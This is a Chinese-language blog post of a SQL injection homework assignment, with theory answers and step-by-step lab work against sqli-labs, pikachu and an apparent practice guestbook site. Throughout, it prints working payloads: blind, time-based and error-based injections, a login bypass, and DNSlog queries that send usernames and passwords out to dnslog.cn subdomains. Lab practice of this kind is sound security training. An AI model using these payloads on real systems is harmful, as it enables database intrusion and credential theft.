web安全作业(SQL注入1)

web安全作业(SQL注入)

理论作业

1.什么是盲注?盲注的类型?

2.报错注入常用的函数有哪些?请分别解释其用法?

3.时间盲注的payload构造方法?用到的函数及其用法?

4.DNS Log注入原理?前提条件及应用场景分别是什么?

1. 开发人员屏蔽了报错信息,导致攻击者无法通过报错信息进行注入的判断,这种情况的注入即为盲注。盲注分为时间型盲注和boolean型盲注。
2.报错注入的常用函数:
updatexml(),extractvalue(),floor(),exp()
ps:updatexml()和extractvalue()是MySQL对xml文档数据进行查询的XPATH函数你
3.时间盲注的payload构造方法:if(expr1,expr2,expr3),对expr1进行布尔判断,利用sleep()或benchmark()函数延长MySQL执行时间,与if搭配使用
4.DNSLog注入原理:
(1) 攻击者先向web服务器提交payload语句,比如(select load_file(concat('\\\\','攻击语句',.XXX.ceye.io\\abc)))
(2) 其中的攻击语句被放到数据库中会被执行,生成的结果与后面的.XXX.ceye.io\\abc构成一个新的域名
(3) 这时load_file()就可以发起请求,那么这一条带有数据库查询结果的域名就被提交到DNS服务器进行解析
(4) 此时,如果我们可以查看DNS服务器上的Dnslog就可以得到SQL注入结果。那么我们如何获得这条DNS查询记录呢?注意注入语句中的ceye.io,这其实是一个开放的Dnslog平台(具体用法在官网可见),在http://ceye.io上我们可以获取到有关ceye.io的DNS查询信息。实际上在域名解析的过程中,是由顶级域名向下逐级解析的,我们构造的攻击语句也是如此,当它发现域名中存在ceye.io时,它会将这条域名信息转到相应的NS服务器上,而通过http://ceye.io我们就可以查询到这条DNS解析记录。
(5)DNSlog平台:
http://ceye.io
http://www.dnslog.cn
使用场景:SQL盲注,命令执行(无回显),XSS(无回显),SSRF(无回显)
前提条件:load_file()函数可以使用,that means,配置文件my.ini中,secure_file_priv=''

实践作业

任务1:sqli-labs靶场:Less-8 GET - Blind - Boolean Based - Single Quotes (布尔型单引号GET盲注)

http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php

任务2:

Less-9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)

Less-10 GET - Blind - Time based - double quotes (基于时间的双引号盲注)

任务3:使用floor()函数对less-2、less-3、less4进行报错注入

任务4:使用extractvalue()函数对less-5进行报错注入

任务5:使用updatexml()函数对less-6进行报错注入

任务6:挖掘book网站的SQL注入漏洞并进行验证

任务一

布尔型单引号GET盲注(Less-8)

判断数据库长度

Snipaste_2024-04-02_11-02-01

说明数据库长度为8,然后开始判断库名id=1' and substr(database(),1,1)='s'--+/id=1' and ascii(substr(database(),1,1))>114--+

重复多次后即可得出数据库名为securitySnipaste_2024-04-02_11-14-11

Snipaste_2024-04-02_11-15-04

然后开始猜表名,手工注入方法和上面大同小异

length((select table_name from information_schema.tables where table_schema='security' limit 0,1))>5 //正常,>6异常

然后ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100//正常,>101异常

Snipaste_2024-04-02_11-30-31

Snipaste_2024-04-02_11-30-17

以此类推可以得出第一张表为emails,接着是referers,uagents,users

之后就是获取字段名和数据,方法类似

length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))>=2

substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i'

最后得出为:id,username,password

同理判断数据:length((select username from security.users limit 0,1))>=4

substr((select username from security.users limit 0,1),1,1)='D'

手工注入很麻烦,这里可以使用工具,比如burp

Snipaste_2024-04-02_12-17-35

Snipaste_2024-04-02_12-17-27

Snipaste_2024-04-02_12-18-22

pikachu基于boolean的盲注

首先判断数据库的长度,因为使用union select 1,2--+没有回显,所以用盲注

length(database())>6 //长度为7

Snipaste_2024-04-02_13-24-37

接着使用allen' and ascii(substr(database(),1,1))=112 ,使用burp爆破

Snipaste_2024-04-02_13-46-30

根据ascii可以得出库名为pikachu

之后爆表名,字段名和数据都是同样的操作

任务二

基于时间的GET单引号盲注(Less-9)

页面既不回显数据,也不会回显错误信息,真假也不提示,只能通过构造语句看页面响应时间,id=1' and sleep(5)

Snipaste_2024-04-02_21-03-55

爆数据库名:if(substr(database(),1,1)='s',sleep(3),1)

这里除了手动注入,也可以直接用工具爆破,得到security

Snipaste_2024-04-02_21-30-14

然后接着爆表名,字段和数据

id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(3),1)

Snipaste_2024-04-02_21-36-18

Snipaste_2024-04-02_21-52-44

得到表名emails,reeferers,uagents,users,同理爆字段和数据

if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i',sleep(3),1)

if(substr((select username from security.users limit 0,1),1,1)='D',sleep(3),1) //select语句中小写d也行

Snipaste_2024-04-02_21-52-44

基于时间的双引号盲注(Less-10)

跟第九关类似,只是把单引号改成了双引号

Snipaste_2024-04-04_01-11-12

?id=1" and if(ascii(substr(database(),1,1))=115,sleep(3),1)--+

仿照less-9依次爆破即可

这里可以DNSlog注入
Snipaste_2024-04-04_20-41-11

Snipaste_2024-04-04_20-44-32

Snipaste_2024-04-04_20-44-44

非常快就爆出数据库名了,然后开始爆表名等,注意判断长度就行

Less-10/index.php?id=1" and (select load_file(concat("//",(select table_name from information_schema.tables where table_schema='security' limit 0,1),".jri6ph.dnslog.cn/1.txt")))--+

爆字段和数据

Less-10/index.php?id=1" and (select load_file(concat("//",(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),".jri6ph.dnslog.cn/1.txt")))--+

Less-10/index.php?id=1" and (select load_file(concat("//",(select password from security.users limit 0,1),".jri6ph.dnslog.cn/1.txt")))--+

Snipaste_2024-04-04_20-53-57

任务三

使用floor()函数对less-2、less-3、less4进行报错注入

Less-2 GET - Error based - Intiger based

使用floor函数进行报错注入:

?id=1 union select 1,count(),concat_ws('-',(select database()),floor(rand(0)2))x from information_schema.tables group by x

Snipaste_2024-04-04_23-30-07

之后爆表名,字段名和数据,大致模板不变,只需改动中间部分类容

select table_name from information_schema.tables where table_schema=database() limit 3,1

select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1

select username from security.users limit 0,1

Less-3 Error based - Single quotes with twist - string

操作和Less-2一样,只是这里是单引号加括号的注入

Less-3/index.php?id=1') union select 1,count(),concat_ws('-',(select username from security.users limit 0,1),floor(rand(0)2))x from information_schema.tables group by x --+

Snipaste_2024-04-04_23-40-22

Less-4 GET - Error based - Double Quotes - string

首先注入判断,发现是双引号加括号

Snipaste_2024-04-05_00-08-07

然后和上面一样,进行报错注入即可

Snipaste_2024-04-05_00-09-47

任务4

使用extractvalue()函数对less-5进行报错注入

less-5是单引号注入,且id=1' order by 3--+

所以 id=1' union select 1,extractvalue(1,concat(0x7e,(select database()))),3--+

Snipaste_2024-04-05_00-36-11

然后是爆表名等

id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')))-- +

Snipaste_2024-04-05_00-37-49

同理爆字段名和数据

id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))-- +

爆数据时,因为该函数只显示32位字符,所以使用substring()函数

id=1' and 1=extractvalue(1,concat(0x7e,(select substring(group_concat(username,0x7e,password),1,30) from security.users)))-- +

Snipaste_2024-04-05_00-41-06

任务5

使用updatexml()函数对less-6进行报错注入

less-6注入判断后是双引号

然后报错注入id=1" and 1=updatexml(1,concat(0x7e,(select database())),3)--+

Snipaste_2024-04-05_00-18-25

爆表名concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'))

爆字段名concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"))

爆数据concat(0x7e,(select substring(group_concat(username,0x7e,password),1,30) from security.users))

Snipaste_2024-04-05_00-29-50

任务6

挖掘book网站的SQL注入漏洞并进行验证

输入admin,admin登录抓包,发送到repeater模块

在用户名里输入1' or 1=1-- 显示登陆成功,1=2的登陆失败,1'登陆失败并报错,说明存在漏洞

Snipaste_2024-04-05_22-07-02

Snipaste_2024-04-05_22-06-41

然后开始漏洞注入,试了一下后,发现报错注入不显示错误信息,同时也不回显数据,涉及跳转页面,时间盲注能感觉到,但是看不到具体时间数据,所以推测为布尔盲注

在用户名里输入:1' or length(database())>8-- (>9登陆失败,所以长度为9)

Snipaste_2024-04-05_23-45-35

然后猜数据库名

1' or substr(database(),1,1)='g'-- 显示登陆成功,这里可以使用burp爆破

Snipaste_2024-04-05_23-51-07

最后得到数据库为guestbook

Snipaste_2024-04-05_23-52-40

剩下的就如法炮制

1' or substr((select table_name from information_schema.tables where table_schema='guestbook' limit 0,1),1,1)='m'--

最后得到表名为message和user

Snipaste_2024-04-05_23-57-22

同理得到字段和数据

select column_name from information_schema.columns where table_schema='guestbook' and table_name='user' limit 0,1

select username from guestbook.user limit 0,1

Snipaste_2024-04-06_00-04-16

也可以DNSlog注入

1' or (select load_file(concat("//",(select column_name from information_schema.columns where table_schema='guestbook' and table_name='user' limit 0,1),".kwtpow.dnslog.cn/1.txt")))--

1' or (select load_file(concat("//",(select username from guestbook.user limit 0,1),".kwtpow.dnslog.cn/1.txt")))--

Snipaste_2024-04-06_00-11-44

posted @   zdytom  阅读(52)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 单线程的Redis速度为什么快?
· 展开说说关于C#中ORM框架的用法!
· Pantheons:用 TypeScript 打造主流大模型对话的一站式集成库
· SQL Server 2025 AI相关能力初探
· 为什么 退出登录 或 修改密码 无法使 token 失效
点击右上角即可分享
微信分享提示